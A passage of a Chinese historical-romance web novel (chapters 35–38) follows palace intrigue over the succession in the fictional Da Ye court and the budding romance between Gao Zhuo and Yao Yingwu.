高府内,高羡轻手轻脚地打开忆欢屋子的门,他刚和尘起一起吃完了那盘栗子糕。忆欢一反常态不让他哄睡,他有些放心不下,还是想来看看。 忆欢在床上睡得正香,嘴角还挂着满足的笑意。即使睡着了,手紧紧护着怀里的东西。 高羡轻轻拿开忆欢的手,在月光下,高羡打开了那张纸。 虽然他猜到了那是什么,打开时,还是差点哭出声来。 画纸上,是高琢刚被红豆救到山上时,第一次见到的怀素。 是,还未曾做他妻子的药怀素。 35. 种恶因得恶果 回屋后,姚映梧将灯摆在桌子上看了又看。 扑着翅膀的燕子栩栩如生,尽管她自小见惯了这些稀罕物,可对这燕子香灯是愈加爱不释手。 清冽的梅香充斥在屋内,让姚映梧想起高琢今日穿得袍子上面绣的就是梅纹。对着琉璃灯,闻着梅香,姚映梧勾起唇低低浅笑几声。 下次,她也得送高琢一件让他时常想着她的东西才行。 入夜后,皇宫比白日里更加神秘莫测。高大城墙切断了皇城与外界的关联,夜间紧闭的宫门隔绝了一切探听深宫的耳朵。黑夜中,皇城里每一处屋宇都悄然蛰伏入地,静静养晦,等待白日的到来。 批完最后一本奏议,牧怀兴才放下朱笔将杯中的参茶一饮而尽。今日呈上来的奏议太多他入夜后又连连咳嗽,手上的动作都慢了许多。 “钟谋。” 在殿外候着的钟内侍听见陛下叫自己匆匆走进殿道:“陛下,您找老奴有什么吩咐?” “现在是什么时辰了?”牧怀兴揉着眉心,声音里是藏不住的疲惫。 “已经是亥正了,陛下您也该歇息了。” “这个时辰皇后还没睡,朕去上阳宫看看她。” “陛下。”钟谋听见陛下想去看皇后娘娘不经头疼起来,皇后娘娘今日才派人来说她病了,怕过病给陛下请陛下今日不要来上阳宫了。 他垂着头搜肠刮肚的找说辞解释道:“陛下,皇后娘娘身边的书溪姑姑递话来说娘娘病了,恐将病过给您,这才特意让人来通传请陛下近日先别来上阳宫了。” “唉。”牧怀兴长叹一声,许久才开口,“钟谋啊,我年轻时亏待她许多,总想是与她成婚才害的霓儿亡故。可锦儿入宫后,打理后宫养育孩子们,尽心尽力为我分忧。她什么都不求,即使我对她冷言冷语她也只是安静的做着皇后分内之事。锦儿做的一切我都看在眼里,慢慢的,我心里也有了她。直至我与她有了孩子,我想借孩子让我们关系更近一步,可我感觉得到,她的心却离我越来越远。钟谋,你说我与锦儿真的无法挽回了吗?” 这么多年来,钟谋一直看着陛下与皇后娘娘间难解的情感令他惋惜,“陛下恕老奴妄言几句,陛下当时深陷于对先皇后和皇后娘娘的情感中苦苦纠结,都没去看一眼刚刚出生的五皇子。皇后娘娘就算是铁打的心,也会被陛下伤透了啊。陛下若真有心挽回娘娘,就该主动些,加倍对娘娘更好,这样娘娘憋在心中的委屈才能散出来啊。” 牧怀兴认同的点点头,“钟谋你说的是啊,还是你最得我心。朕记得之前兰诏朝贡过一把赤云剑,朕记得此剑全身赤红及其特别。皇后喜欢这些,你明日替朕亲自送到上阳宫去。” 钟内侍笑着应道,“陛下好眼光啊,老奴听说锻造此剑的工匠还做过华羲的佩剑灼龙剑。名家造的名剑,皇后娘娘知道陛下的心意,一定能开心的。” “朕也不指望锦儿能因为一把剑就对朕态度好转,只求她能看在剑的面子上让朕见她。” “那陛下今夜可要去贤妃娘娘那儿?” 牧怀兴微微皱眉,沉思片刻道:“锦儿特意把她安排在苍平宫自有她的用意,我和必再为了一个姚昭桦惹她不开心。去建德宫看看珮儿吧,她最近身体一直不好朕很挂心啊。” “是,陛下。” 初秋皇宫的夜,泛着森森的冷意。绿油油的树叶边缘,也逐渐开始变黄。 章珮坐在宫中的秋千下,不受控的落下两行清泪。秋天一过,又是冬季了,眨眼就快到女儿的生辰了。她的两个女儿一个生在冬至一个生在上元节,都是好日子。 头风发作时的疼痛让章珮的手紧紧攥住女儿们的长命锁,今日扶锦来看她,陪她说了好一顿的话。本来她心情已经纾解了不少,落日后书池却带话给扶锦说三位皇子都到了,说要拜见她,催扶锦回宫去。 三位皇子,二皇子,五皇子,还有那个人的孩子。 想起金曜雪,章珮恨不得再去朝闻宫放把火,把金曜雪残存的骨灰烧个干净。她害死了她的两个女儿,还加害了宫里那么多的孩子甚至还有先帝的孩子,凭什么她用一条命就能换这多人的性命,凭什么她这个凶手的孩子能好好活着,而她的孩子却早早离她而去,只留她一人痛苦的度过余生。 肖扶锦心地善良,她章珮可不是好惹的。这件事,牧泓屿必须要为他母亲种的恶因付出代价。 “珮儿,想什么呢这么出神。” 牧怀兴远远见她攥着女儿们的长命锁出神,就知她又在为女儿早亡的事伤心。他没让宫人们通传,放轻脚步,自己只身一人坐到秋千旁。 听到陛下的声音,章珮有些惊讶,她赶紧擦干脸上的泪水起身行礼,“陛下今日怎么来了建德宫。” 牧怀兴拉起她让她坐回他身边,“入秋了,风这般凉,你还敢穿得如此单薄坐在秋千上吹风,难怪又病了。” 章珮抚着鬓间的碎发,苦笑道:“心里想着孩子们,一时竟没察觉起风了。” 提到孩子,牧怀兴不由心中叹息。黎稔当年和亲路上走失下落不明,回来时带着化名成金曜雪的戈罗昂真和她同住在宫中。黎稔常促成机会让他与戈罗昂真接触,一来二去间他也对戈罗昂真生情。 父皇晚年积劳成疾,一心认为皇室之子早亡是晋怀帝的冤魂报复,是他没护住肖愿腹中孩子的天惩,根本不信是戈罗昂真在背后搞鬼。 他虽已是太子,父皇也有心传位给他。但父皇晚年格外偏爱与襄武皇后相似的黎稔和牧,还是让他心中惴惴不安。这份不安,让他忽视了孩子们频繁夭折的怪异之处,只一心扑在朝政上,花心思做最优秀的储君。 与锦儿成婚后,她发觉此事不对,查到金曜雪是戈罗昂真。他得知此事后愤恨不已,他竟被敌国公主玩弄于股掌间,还与她有了子嗣。戈罗昂真借他报复大邺一事若被父皇知道,他恐难继位。所以,他对她与腹中的孩子起了杀心。 幸好锦儿聪慧,借朝闻宫突发怪病一事将戈罗昂真与其心腹宫人全部困在朝闻宫,又隐瞒她真实的身份,保住他的声誉。又因宫中子嗣单薄,锦儿提议去母留子,借皇家有新出生子嗣一事,消除百姓间流传的皇族被诅咒无法再新皇嗣的流言。 戈罗昂真也不愧为利鹘天公主,被困朝闻宫,还能与人携手散布童谣,动摇他的皇位。牧怀兴还记得戈罗昂真生产那日,她扬言绝不死在大邺人之手,自刎前放了一把大火,烧死了朝闻宫全部宫人。 他一时被蒙蔽,才造成今日种种恶果啊,若是没有锦儿……多亏他有锦儿。 章珮依靠在牧怀兴肩头,柔情道:“陛下,如今七皇子已然到了该搬出宫的年纪,不如赐他封地和爵位吧。一来,他已成年,还住在皇宫中不合适;这二来,妾看不到他,说不定也不会再想起她母亲与无辜死去的孩子,头风就不会犯了。” 怀中的章珮泫然欲泣,牧怀兴心中万分怜惜。反正也不想再看见那孩子了,正好借此让他赶紧走。要不是近一年锦儿常病,身边需要孩子陪着,他早就赶他了,眼不见心不烦。 牧怀兴问道:“贵妃觉得哪的封地合适呢?” 章珮勾起嘴角,微微一笑,“陛下既然问了妾的意见,那妾就斗胆说了。不如赐那孩子为嘉郡王,封地嘉州吧。” 听到嘉州,牧怀兴不禁思索起来。嘉州有一座古寺,历朝历代,只要有皇子公主分封至此,不出三年必会看破红尘,放弃爵位剃度出家。自前晋起,嘉州便不再作为封地了。如今珮儿重提此地倒让他觉得,的确是个好去处。 “好,就依贵妃所言。等开春便 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牧泓屹见母后听进去了这边刚停住,牧泓峥又紧蹙着眉念叨上了。 “母后,您年轻时在外征战,身上有不少旧伤。我听书溪和书池姑姑整日说母后每晚都爱在殿外坐着,不管是雨天还雪天。最近您是听劝了,不常往外面跑了,可之前长年累月的冻着,身体怎么会不熬坏。” 牧泓峥说完,看着母亲略带哀伤的面庞,又后悔自己的话是不是说重了。自他记事起,母亲就总爱坐在殿外的贵妃榻上看飞奴。一年又一年,殿外的飞奴年纪也渐渐大了,不变的,一直是母亲眼眸中浓浓化不开的哀伤。 从驰骋沙场的将军到后宫的端庄持重的皇后,母亲已经很痛苦了想做什么就做吧。 牧泓峥长叹一声,道:“冬日里太冷了,母后哪怕不顾念旧伤,也该多穿些。别着凉,像这样一年到头总生几次病,我和二哥都不放心你啊。” 牧泓屹立刻赞同的点头道:“五弟说的对啊,您就算爱赏景,喜欢跟飞奴逗趣儿,也该注意身体。儿子们如今都大了,离开了母后身边不能时时照顾您,您也该想着自己以前的旧伤,不保养好怎么行呢。您如今也是做皇祖母的人了,谨饰长大了还要您看着成家呢。” 牧泓屹顿了片刻,眼神冷冷的瞥向最远处的某人,“整日住在宫里,也不知道规劝着母后,反倒一天天往外跑。每次回来的最晚还要母后等你用膳,也不知道到哪跟什么人厮混去了。身为皇子一点正事都不干,皇家的脸都让你丢光了。” 牧泓屿垂着头,对他的话左耳进右耳出。牧泓屹自小便天天挑他的刺,他都习惯了。他日日来看母后,怎么不知道她生病了。牧泓屿只自顾自垂着头一声不吭,想着阿遥此时在干什么。 见牧泓屿没有反应,牧泓屹更是怒火中烧,他猛然站起身指着牧泓屿道:“你简直……” 牧泓峥见架势不对,赶忙拉着二哥坐下,提高声音喊道:“五弟二哥是担心你,就是性子急你别放在心上。二哥你也坐,泓屿还小别生他气了。” 牧泓屿知道如此下去免不了要吵架,只得低头认错。 “二哥我错了,日后我一定多关心母后。” 牧泓峥见气氛缓和下来,赶紧叫书溪姑姑传菜上来。肖扶锦见屹儿对屿儿态度不好,就知他还因屿儿生母害死他大哥的事心中仍有恨意。 她赶忙打起圆场,“我日后一定多注意身体,你们也都快坐下,尝尝我做的菜还是不是小时候的味道了。” 桌上,肖扶锦给三人夹着各自爱吃的菜,关心孩子们近日怎么样,这顿饭也算气氛微妙的吃完了。 上阳宫内,刚结束一场阖家欢乐的家宴,上阳宫外,还有一场心怀鬼胎鸿门宴等主人来赴宴。 36. 来赴鸿门宴 天穹如墨,圆月当空。 踏着月光牧泓屹轻轻推开房门,却见姚彩笺正对着桌上的琉璃盏发呆。他关紧门,柔声道:“夫人今日怎么这么晚还没睡?” 姚彩笺正出神想着桦儿的事,见牧泓屹回来,一扫愁容笑道:“你今日入宫见母后,我特意等你回来。” “谨饰今日的功课怎么样?”牧泓屹边说边解下披风,“母后今日还问起他来了,问我有没有给他挑个伴读。” “放心,饰儿很用功文章都会背了。伴读一事,殿下有什么看法。”姚彩笺顿了片刻,将琉璃盏推到牧泓屹面前,“我估摸着你快回来了,让人给你熬的安神汤,趁热喝了吧。” 牧泓屹端起琉璃盏,用勺子轻翻着汤。 “伴读还是从姚肖两家选,日后也能成为谨饰的助力。若按年纪看,肯定还是姚明桉更好,肖北休自幼不在盛安长大又是家里的幼子,若承袭爵位还是他长姐更有可能。年纪轻轻就随父母上战场,日后必然更有建树……” 牧泓屹正分析着利弊,抬眼却发现彩笺看着空空的桌子出神。 “夫人等我可是想问贤妃的事。” “啊?”姚彩笺飞远的思绪刚回神,她垂下眸子藏起心中的情绪,“桦…不知贤妃她怎么样了?” “苍平宫周围清净,只是离太后的福乐宫近。” 这句话让姚彩笺一晚上惴惴不安的心终于放下来了,桦儿能在宫中安稳度日她就放心了。她抬起眼,见牧泓屹脸上愁云密布,担忧道:“殿下,出什么事了?” 牧泓屹放下安神汤,沉声道:“母后又病了,她今年总是大病小病不断,让我很是忧心。我忙于公务,也实难脱身去看她。” 姚彩笺覆上牧泓屹的手,“殿下不用担心,我会时常进宫去看母后替殿下尽尽孝心。” 说完,姚彩笺想起自己尚未出阁时听过的风言风语,忍不住揶揄道:“我还在闺阁时,常听流言说陛下因母妃离世的事迁怒于母后,甚至亲自把你带在身边不让她亲近你。等我嫁给你后,见你与母后感情甚笃,可见流言不可轻信呢。” 牧泓屹长叹一声,“世人都说母妃是因父皇答应娶母后才早产离世,可谁知道那一日她最器重的长子过世了。连皇祖父都夸赞我大哥牧泓峙聪慧过人,是他见过最优秀的孩子。金曜雪暗中给他下毒,将他害死了。她是因为大哥的死讯才惊惧难产而亡的。” 说到这,牧泓屹想起小时候被流言蒙骗过的自己,摇头笑出了声。 “我年幼时竟也信过父皇和那些风言风语,慢慢疏远母后伤了她的心。幸好,自幼跟在母妃身边的宫女守孝期满告诉了我实情,我才知那日我不仅失去了母妃,还失去了德才兼备能文能武的皇兄。父皇忙于政务,将我带在身边却根本照顾不好我。当时刚入秋,我穿着单衣经常生病闹脾气,他总训斥我年幼爱哭不堪大用。我那时才三岁多,在他身边整日都做噩梦,是母后从宫人那得知了父皇是如何照顾我的,冲到太清宫与父皇大吵一架,将我带回了上阳宫。” 姚彩笺捂嘴笑道:“母后真不愧是将门之后,行事果然雷厉风行。” 想起那场景牧泓屹也不禁一笑,“她将我接回来后,每晚都哄我入睡,亲手给我□□吃的剔缕鸡,教我甘家锏。有了五弟后我还难过了许久呢,每晚都要缠着她哄我睡觉。她会给我讲母妃年轻时的事,她们两人一个持甘家锏一个持肖家戟,征战沙场默契无双。我那时候才明白,是我误会了母后看轻了母妃,两人同为高门贵女自小相识又互为知己,母妃又怎么会因为皇祖父赐婚就心痛早产而亡呢。是金曜雪,她害死皇兄害母妃故去,她才是真正的凶手。” “那,兄长说的要安抚七弟……” “他才不是我弟弟!”牧泓屹冷声打断道:“我只有泓峥一个亲皇弟,不管我们两个谁能继位,我都会想办法杀了牧泓屿。” 另一处的王宅,月光下牧泓峥正在庭院练着肖家戟。 肖家戟法凌厉,身形变换极快。一招一式,杀气十足。 甘玉帛听见院外传来的声音,从屋内走出来。 “今日晚了还练戟法呀。” 牧泓峥收了招式,“今日太忙,没顾上练。外祖父一直叮嘱,不可一日不练功,我怎么敢不听他老人家的。” 甘玉帛生气道:“最近朝中争储之事愈加激烈,连父亲都被卷入其中,到处受人诋毁。说他即是二皇子舅舅,又是你的岳丈,无论是谁继位他与甘家都得利。” 牧泓峥反倒无奈道:“你嫁给我,害得甘家也被推上风口浪尖。肖家既有兵权又有皇子,已经被父皇处处忌惮。何况我身上也有肖家血脉,父皇怎么会让我继位。父皇他总是表面对我和二哥一样疼爱,让朝臣们拿不准储位人选。说到底都是帝王心术罢了,我与父皇相处时,我们二人间是父子亲情还是君臣之礼,我最清楚不过了。我努力只是想他能像爱二哥一样爱我,别总猜忌我与肖家的用心。” 甘玉帛走上前,用手帕擦去牧泓峥脸上的汗水。 “甘家是盛安大族,这些非议少不了的。嫁你前我就想得很明白了,我爱得是你不是五皇子。不管流言蜚语怎么样传,我都是你的妻,会与你站在一起。我是气那些人胡乱揣测,坏了父亲与忠勇侯府的名声。” 牧泓峥放下青龙戟,抱住甘玉帛:“夫人委屈你了·。我一直后悔将父皇深信的甘家也扯进朝堂复杂局势,多谢你,一直体谅我。” 甘玉帛将头埋进牧泓峥胸膛,“我们夫妻本就一体说什么谢不谢的,更何况,你就要做父亲了,不管朝堂如何争斗,你也要好好的知道吗?” 牧泓峥瞪大了眼睛,不可置信的看着甘玉帛,“什么!夫人你是说……” 甘玉帛捂住他的嘴,“嘘,小点声。我最近一直不舒服,早晨特意回忠勇侯府找信任的大夫把脉才得知的。如今正是局势变幻之时,孩子才一月余,我们还是先瞒着吧。” 牧泓峥激动地不能自已,抱紧甘玉帛道:“好好好,只是辛苦夫人了。不管发生什么,我定会保护好你们的。” 上阳宫,夜宴刚过,牧泓屿正听着母后的叮嘱。 肖扶锦喝了口茶,“我知你对皎皎有意,可她想要什么你真的知道吗?” 牧泓屿没想到母后会与他说阿遥的事,惊讶道:“母后怎么说起阿遥了。我知道阿遥想要什么的,您放心,只要我还是七皇子一日,就绝不让她嫁到皇家。我自幼就见您忧于皇宫困住您前往边境与兄嫂抗敌的心,怎么会舍得让阿遥也如这般呢。” 肖扶锦点点头,“那我就放心了,若皎皎想同你在一起,母后会支持你们的。” 出乎意料的回答令牧泓屿开心极了,“多谢母后成全,我会等,等阿遥心甘情愿与我在一起的。” 肖扶锦欣慰地点头而后又换上一副严厉的神色:“屿儿,你既无心皇位,那就要留心朝中不怀好意之人会对你的拉拢,无论别人说什么你都万不可轻信。屿儿,母后要你永远记得,你是牧家的血脉,是我肖扶锦的孩子。” 牧泓屿听得一头雾水,他本来不就是母后与父皇的孩子嘛。虽然没人跟他提过生母,但他心中早就认定母后就是他的生母了,她照顾他长大教他习字,是和阿遥一样在宫里对他最好的人。 “母后放心,儿臣记下了。日后定会小心处事,明哲保身。” “今日和皎皎他们玩了一整天累坏了吧,时辰不早了,早些回去休息吧。屿儿,对你的二皇兄忍让些,他不喜欢你你也别与他起争执。你们大了,有了自己该承担的责任,我不能还像小时候一样在中间说和。母后叫你忍让,是因为你没有母族和父皇帮你抗衡,你与他交恶无异于以卵击石。生在帝 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后来,大家都长大了,牧泓屹不会亲自动手,会吩咐他身边的宫人欺负他。母后和五哥看不见了,没法保护他了。他又遇见阿遥,会替他出头不让宫人欺负他。还悄悄告诉母后换了他身边的宫人,挑了嘴甜老实的四喜在他身边。 不再受欺负后,他日子过得好了,衣服也干净整洁了,不至于让他见到阿遥时会自惭形秽。老定远侯忠肝义胆,肖家一门也皆一身正气。 还好有肖家人护他,不然他早被折磨死了。 “七皇子,七皇子,您留步。” 听见有人叫他,牧泓屿禁皱起眉,母后刚叮嘱完他,这么快就有人找上他了。 牧泓屿转身看去,见是一个没见过的内侍,他挑挑眉,不会又是牧泓屹的报复手段吧,找一个不认识的内侍骗他去干蠢事来触怒父皇。这么年过去了,整他的招数真是换汤不换药。 莫内侍得到消息后,焦急的等了牧泓屿快两个时辰,今夜风大,差点吹死他。他活动了一下冻麻的脸,谄媚道:“卑职莫旬是在太清宫伺候陛下的,在这恭候殿下多时了。” “太清宫…”牧泓屿好奇的打量着来人,“莫内侍找我何事?” 莫内侍笑着凑到牧泓屿身边低声道:“不知殿下明日可有空,高统领想请您宫外一叙。” “高统领?哪个高统领?” “殿下莫要与卑职说笑啊,自然是,御守府的高统领。” 莫旬以为自己说出御守府,总该让眼前没个正形的七皇子正经起来了。 说起御守府,牧泓屿终于想来这个高统领不就是高琢的兄长吗,看在高琢的面子上,他就不说什么难听话了。 他笑道:“明日我有事,实在没空见高统领。母后这儿夜里风大,内侍还是回吧。” 牧泓屿说完抬腿就走,莫内侍见状心里怒骂这个不争气的七殿下,腿上还是赶紧追上他亮出自己的诚意。 “殿下可知,章贵妃与陛下说好,要让您明年去嘉州当嘉郡王。嘉州啊,殿下,您可得三思啊。” 牧泓屿一听自己的封地是天高地远的嘉州,心中顿时窃喜。最近真是时来运转,先是阿遥不走了后又有这个好消息。真是瞌睡来了就有人递枕头,他正不知道怎么从皇宫脱身,这要是去了嘉州,假装病故或是假装出家都不失为一个好办法。 如此,他就能隐姓埋名和阿遥过上逍遥快活的日子了。再也不用看谁的脸色,还能和他爱的人在一起,到时候他也改姓肖,与阿遥和母后做真正的一家人。摆脱了恶心的牧姓,再也不用见到姓牧的几个人,真好。 牧泓屿想着明日出宫告诉阿遥这个好消息,他敷衍莫内侍道:“多谢内侍据实相告。呀!快到父皇用药的时辰了,父皇该传唤了。” 莫内侍无论再怎么喊,牧泓屿都没有回头了。 他眸光一沉,真是不争气。一个嘉州和郡王就满足了,这样如何成就大计。看来下次,他该告诉牧泓屿他的身份了。 37. 弟弟怎么了 雾蒙蒙的天刚亮,阴沉沉的。伴着雷声轰鸣,又一场暴雨如期而至。 刚下早朝,裴澄还没出宫门就被钟内侍叫来了太清宫。 龙椅上,牧怀兴只一味的看着今日呈上来的奏议,问他在滕州这些年过得怎么样。丝毫没提起任何有关仙宫和霍大夫的事。裴澄心中疑惑,却一一如实回答。十八年过去,牧怀兴身上更添了一些成熟稳重的帝王之气,他一时也摸不准他的脾气。 等裴澄带着满心的疑惑离开后,身旁的钟内侍才不解的出声问道:“陛下,您刚才为何不敲打敲打裴大人?” 闻言,牧怀兴冷哼一声,手中批奏议的动作一顿。 他抬头看着裴澄离开的方向,“仙宫的位置裴家人是不会这么轻易说出来的。前晋覆灭,父皇清算前晋旧臣。裴乡柯那样看重裴家权力地位的人,宁可被贬去滕州永不返京,也咬死说不知道仙宫位置。他的儿子也惶不多让,一个用来杀鸡儆猴的大夫吓不到他。他幼时丧母,未加冠又丧父,是他长姐裴澜将他一手带大。裴澜的孩子和他的孩子,才是他真正的软肋。” “难怪陛下特意恩许,允他携家眷归京述职。老奴愚钝,竟没看出陛下您的意思。” 牧怀兴深知这样做实在有损皇室颜面,但他一想到几日前又在盛安响起的童谣就让他心有余悸。 他摸向龙椅的扶手,手指划过每一片龙鳞。天下牧,邺将故,三月皇,改朝纲…… 他如今才明白父皇为何执着于除掉编篡童谣的人,又铁了心费力去寻找一个可能不存在的仙宫。 任何动摇大邺的国本的人都得死,大邺是牧家的大邺,天下所有至宝,哪怕只是传闻的至宝也只能属于大邺,属于牧氏一族。 “不提政事了。钟谋,喝药的时辰还早,你先将赤云剑给皇后送去。就说,我今晚忙完去看看她。看完她,再顺路去看看贤妃。” 钟内侍抬起头,惊讶道:“陛下,上阳宫离苍平宫可远着哪。您这是要……?” 牧怀兴无奈道:“若不这么说,皇后又怎么会主动开口留我呢。她既有心不想让我见贤妃,那我说要去苍平宫,她肯定会留我的。” 钟内侍皱起眉,犹豫道:“陛下…陛下这样威胁皇后娘娘是不是……” “嗯?”牧怀兴皱起眉,眼神扫过钟谋,“钟谋,如今你对朕说的话都有意见了吗?” “陛下息怒,老奴不敢。卑职这就去上阳宫。” 急促的雨滴密密麻麻落得到处都是,狂风骤雨,落英缤纷。 丞相府疏雨院,姚映梧醒来睁开眼,入目就是她昨晚挂在床头的琉璃灯。 屋内残存着清雅的梅花香,一夜过去,内里的香烛燃尽。昨夜还流光溢彩的琉璃鸽,只剩眼睛处还散着些黯淡的微光。 姚映梧轻轻摸着琉璃鸽的眼睛,眼前却闪过那日城楼上初见时高琢的眼睛。姚映梧重新将琉璃鸽挂好,嘴角不自觉勾起一抹笑意。 一声惊雷,窗外传来噼啪的落雨声。姚映梧先是被吓了一跳,而后急忙起身,去院中看移栽的桂树怎么样了。 她随手从衣架上拿起披风系好,正准备出门时被从外面进来的云昙拦了下来。 “小姐我刚才看过了,桂树和我刚种下的花都好着呢。我替小姐梳洗好,咱们再先吃早饭,到时候雨小也暖和点了,小姐也能一边赏雨一边看花。” 听云昙说桂树没事,姚映梧这才放下心来,便依了云昙说的办。 窗外的瓢泼大雨转眼变成了细密的雨丝。等两人吃完早饭后,细密的雨丝已经化成断断续续的雨珠。不消半刻,雨便停了。 空气中弥漫着淡淡的花香,姚映梧走出屋子,深吸了一口雨后的芬芳气味,将胸口处堆积的沉闷一口气吐出来。 呜嘶,呜—— 侧门处的矮墙,传来一阵阵那边嘲哳难听的埙声。 云昙听到后捂着耳朵愁眉苦脸道:“小姐,不会是高公子吧。没想到他丹青如此厉害,吹起埙来这么难听。” 姚映梧也抗不住这埙声,赶紧捂住耳朵朝云昙嘱咐道:“我去那边看看。云昙别管花了,你先回屋躲着。” 说完她转身沿着声音的位置一路寻找,向矮墙走去。 墙边,高琢带着一脸委屈的神色蹲在墙角吹埙。时不时,还停下来四处张望着有没有路过的家丁。姚映梧见他如此可怜,忍不住笑了出来。 悦耳的温柔笑声让高琢立刻抬起头来,见到是阿缘,高琢脸上的委屈消沉一扫而空,他露出一个大大的笑意,眼睛亮晶晶道:“阿缘,你知道是我。” “这埙声反正不会是皎皎。”姚映梧笑吟吟地翻过墙,高琢眼疾手快的拉住她。 “唉,我也不想的,本来是想来丞相府问问你喜欢什么花,我还没走到正门就被你们家的家丁恶狠狠的盯上了。没办法,我只好学着肖遥的样子叫你出来,谁知道这埙这么难吹。” 姚映梧拿过高琢手中的埙,“为了找我,你还特意买了一个这玩意?” 高琢认真地点点头,“今日我一出门碰到一个货郎在卖货,看他有一个这个就顺手买了。那日听牧泓屿和肖遥吹的好听,改日想向他们请教怎么吹来的,谁知道这么快就派上用场了。” 姚映梧浅浅一笑,将埙放到高琢掌心问道:“你这么费劲来找我,就是想问我喜欢什么花?” 掌心上微凉的触感搅乱了高琢的心神,他看了姚映梧一眼又极快的撇开目光道:“在我们家乡,女子和男子两情相悦后会互表心意,男子会送心爱的女子一只玉簪,代表玉石盟约,情意直到海枯石烂永不变。女子会回送男子玉佩,寓意两人永结同心好,恩爱不分离……” 如此的表明心意的方式姚映梧从来没听说过,她惊讶的看着高琢,又低头看看自己送他的玉佩,难怪他一直带在身上。 她还奇怪呢,送他的信物怎么不拿来用,把玉佩拿给家丁们看,他们看在她的面子上也不会赶人的。原来在高琢眼里,这算是与她的定情之物,不能随便给别人啊。 “喏。”姚映梧伸手指指玉佩,“所以你宁愿被人赶到这来,也不把玉佩当信物给别人看。” 闻言,高琢小心地捧起玉佩,失落的喃喃道:“我想过的。可是玉佩是你不知道我们家乡风俗时给我的,我怕我拿出当信物,你再要回去了怎么办……” 高琢沮丧的表情落入姚映梧的眼中,她有一瞬间觉得高琢果真像明桉说的那般呆呆傻傻的,送给别人的东西哪有轻易要回去的道理。 不过,单纯憨厚一点也好,她很喜欢。 姚映梧捧起高琢的脸,郑重道:“玉佩是祥云牡丹,你送我的玉簪就要缠枝桃花吧。在盛安,缠枝桃花寓意与心爱之人相伴一生,直到白头。” 姚映梧微凉的手却让高琢的脸越来越烫,心爱之人,虽然他们已经互表过心意,可从阿缘口中亲耳听到心爱之人四个字,还是让高琢心跳加速。 心爱之人,白头到老。简单的八个字,每个字敲在高琢心头都让他无比珍重。 高琢盯着姚映梧,眼神里是漫不开的柔情与珍视,他郑重地应道:“阿缘,我会亲手给你戴上的。还要让你的长姐、父亲与母亲,都同意我与你的婚事的。” 提到长姐,姚映梧眼眶微微湿润,她笑道:“我信,他们会像我一样喜欢你的。” “哼,我就不喜欢他。” 突兀的声音让两人一怔,高琢疑惑的看去,一个十三四岁的孩子正双手叉腰,站在矮墙上瞪着他。 “明桉,不许这般无礼。这位就是我跟你提过的高公子。”姚映梧微微皱眉,低声嗔怪着姚明桉。 姚明桉又哼了一声,手脚迅速地翻过矮墙,走到高 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“她是豁出性命来守护大邺边境安定的将军,大邺子民人人都该敬她几分。我看你现在嘴边父亲长,父亲短,我就该找时间让父亲好好教训你一下。”姚映梧气明桉被父亲才亲自教导了几日,眼里就只剩下姚家的政敌和姚家崇高的门阀了。 最近因为长姐的事,她完全忽视了明桉。让他变得和父亲如出一辙,她甚至在明桉身上看到了父亲冷酷的影子。不行,以后她得找机会好好告诫他一番。她绝不能再看到姚家出现第二个和长姐一样,听父亲的话甘愿为了家族牺牲一切的人了。 高琢笑道:“你这么不喜欢肖家人,干嘛还打听我阿姐有没有肖遥厉害。” 姚明桉一脸严肃道:“你就说谁更厉害啊?” 高琢站直身体沉思一番道:“肖遥肯定很厉害吧。她能单枪匹马杀掉拓跋恃,应该比我的阿姐师父厉害。” 姚明桉眼中一闪而过的失落,嘟囔道:“那你武艺肯定也很一般。”他自言自语完,又清清嗓子道:“那跟肖逾比呢?” 高琢疑惑的和姚映梧对视一眼,见姚映梧冲他摇头,表示自己也不知他为何执着于问这事。 高琢收起笑意,眼神温和的问道:“怎么,你一直问我阿姐比不比肖家人厉害,是为什么?” 姚明桉无措的捏紧拳,小声回道:“父亲说我文墨不通日后也当不好官,我想我也可以去试试习武。若你阿姐厉害,你肯定也差不到哪去。我想跟你学武,以后光耀姚家门楣。” “明桉。”姚映梧没想到弟弟满心竟都是这种心思,她半蹲下温和的看着明桉道:“是父亲太心急,你怎么会不是读书的料。小时候长姐跟我们讲诗文,你才四五岁就能写得好诗,我和长姐都望尘莫及呢。” “可是二姐姐,父亲说我会做这些都没用,不懂辅佐治国之道根本不能帮助姚家。父亲说,长姐不能为官了,二姐姐体弱不能劳心费神,姚家只能靠我了。二姐姐,我不能让父亲失望。” “姚家还有我呢明桉。” 姚映梧抱紧了明桉,她学着长姐那晚在烛光中对她说的那样,“姚家好与不好不是只靠你我就能决定的,更不是父亲能决定的。你还未加冠成人,还没到恩荫入官的年纪,不要妄自菲薄。” 高琢也难得板着脸道:“我以前初学丹青时,总觉得丹青简直是世间最难的事。把人的五官画到纸上,又要不失神韵又要与本人相像。等我练武的时候,又觉得丹青是世上最容易做到的事,每日练剑枯燥无味,甚至还会受伤。后来等阿姐走了我才明白,我怕的不是那些事,是做不好时想象中阿姐失望的眼神。四五岁就能写诗的孩子怎么会不通治理之道,明桉,别怕让你父亲失望。不去试试,怎么知道结果呢。” 在姐姐怀中的姚明桉眼睛微红,他还是倔强的咬住嘴唇对高琢说:“算你没我想象的笨,我就说我二姐姐眼光好的很。” 38. 不堪的真相 姚明桉的话让姚映梧差点笑出声来,可高琢却一点不介意,高兴道:“阿缘眼光自然是最好的。” 嬉笑间,姚明桉突然想起正事来,他倒吸一口凉气道:“二姐姐我差点忘了,母亲叫我来找你,让咱们一同去书斋,说父亲有要事要找我们。” 父亲,要事…… 姚映梧强压住心下的不安点点头,又不舍的看了一眼高琢。 见状,高琢体贴道:“阿缘,快回吧,别让你父亲等急了。我也得赶紧回去画生辰图了,还有玉簪……” 一说起玉簪,高琢不免面上一红。 “对了阿缘。”高琢从怀中掏出一盒昙花香粉,“这是我兄长特意嘱咐我带给云昙姑娘的,多谢她给忆欢做糕。阿缘,我明日再来找你。” 高琢晃晃手中的埙,姚映梧心领神会的点头和姚明桉翻过矮墙回去了。高琢望着姚映梧的背影,直到完全看不见她,才恋恋不舍的转身回去了。 越过矮墙,姚映梧语气严肃道:“难怪父亲总说你常偷偷溜出府去玩,是不是就是从矮墙这翻出去的?” “二姐姐。”姚明桉心虚的答道,“莫要告诉父亲,不然他肯定会把矮墙砌高,我就再也出不去了。” 见他只是担心父亲,姚映梧心疼地揉揉明桉的脑袋,“二姐姐不告诉父亲,我是担心你自己一人安不安全。” 姚映梧觉得有些事得告诉明桉了,她道:“明桉,你翻墙出去不是像父亲说得那样与其他狐朋狗友厮混吧?” 